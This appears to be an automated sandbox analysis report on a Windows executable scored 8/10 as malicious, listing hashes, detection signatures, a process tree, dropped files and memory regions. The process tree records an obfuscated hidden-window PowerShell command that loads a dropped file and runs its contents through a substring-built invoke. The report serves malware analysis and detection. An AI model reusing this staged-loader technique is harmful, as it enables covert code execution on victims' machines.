Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-09-2024 01:06

General

  • Target

    2633b28bd403cc1e09bc10f01a23aa9724117ce88d83d72ac8433e8c855612e6.exe

  • Size

    596KB

  • MD5

    91405b1b3deb5402675dc7af8266cf7b

  • SHA1

    b14dc9424a48020a4a523250db9cbd1e40621c25

  • SHA256

    2633b28bd403cc1e09bc10f01a23aa9724117ce88d83d72ac8433e8c855612e6

  • SHA512

    d2e5a343cd964834b2df6a94b62e42d88462305bdea34a600fb86d93e00ff3a763210df18b9f9f8157e81314b79af359c7e3974d1e62d34329d7ac5feaae5329

  • SSDEEP

    6144:TZ/qRrSM9JskbekTxUzqbJNT8zmXp45HcIZeJVZ4WiCm5MKQ4ouOO/wCi1pL:TBIJsQeUxUzqDwzCe+IZeJVmQuOCCL

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2633b28bd403cc1e09bc10f01a23aa9724117ce88d83d72ac8433e8c855612e6.exe
    "C:\Users\Admin\AppData\Local\Temp\2633b28bd403cc1e09bc10f01a23aa9724117ce88d83d72ac8433e8c855612e6.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Succumbence=Get-Content 'C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Mehercle.Mis157';$Rhetorician=$Succumbence.SubString(55271,3);.$Rhetorician($Succumbence)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4756
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 2448
        3⤵
        • Program crash
        PID:3580
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4756 -ip 4756
    1⤵
      PID:1588

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gnvrh0fv.xqz.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Mehercle.Mis157

      Filesize

      53KB

      MD5

      9f24a8c9e61534a5ab9c258ab21bd99d

      SHA1

      8e2788c449f172626b02a0a246cd3f2806bb2cb3

      SHA256

      09816a5992b6ed7dc5a33a3b403116292cc4fe2eb34b79fa4272226361de4edd

      SHA512

      8c467a3ba32f7d2dc89281d463d889da48842ae7206f6f087c048dc5000cb866311ca46f27c7687fd1b32b3ba2820c89d19d35ae2c583c03af6a2be6117becd5

    • memory/4756-8-0x0000000073DD0000-0x0000000074580000-memory.dmp

      Filesize

      7.7MB

    • memory/4756-24-0x0000000006570000-0x00000000065BC000-memory.dmp

      Filesize

      304KB

    • memory/4756-5-0x0000000073DDE000-0x0000000073DDF000-memory.dmp

      Filesize

      4KB

    • memory/4756-10-0x0000000005760000-0x0000000005782000-memory.dmp

      Filesize

      136KB

    • memory/4756-11-0x0000000005830000-0x0000000005896000-memory.dmp

      Filesize

      408KB

    • memory/4756-17-0x0000000005F60000-0x0000000005FC6000-memory.dmp

      Filesize

      408KB

    • memory/4756-7-0x00000000058C0000-0x0000000005EE8000-memory.dmp

      Filesize

      6.2MB

    • memory/4756-22-0x00000000060D0000-0x0000000006424000-memory.dmp

      Filesize

      3.3MB

    • memory/4756-23-0x0000000006520000-0x000000000653E000-memory.dmp

      Filesize

      120KB

    • memory/4756-9-0x0000000073DD0000-0x0000000074580000-memory.dmp

      Filesize

      7.7MB

    • memory/4756-25-0x00000000074A0000-0x0000000007536000-memory.dmp

      Filesize

      600KB

    • memory/4756-26-0x0000000006A60000-0x0000000006A7A000-memory.dmp

      Filesize

      104KB

    • memory/4756-27-0x0000000006A80000-0x0000000006AA2000-memory.dmp

      Filesize

      136KB

    • memory/4756-28-0x0000000007AF0000-0x0000000008094000-memory.dmp

      Filesize

      5.6MB

    • memory/4756-6-0x0000000002F50000-0x0000000002F86000-memory.dmp

      Filesize

      216KB

    • memory/4756-30-0x0000000008720000-0x0000000008D9A000-memory.dmp

      Filesize

      6.5MB

    • memory/4756-32-0x0000000073DD0000-0x0000000074580000-memory.dmp

      Filesize

      7.7MB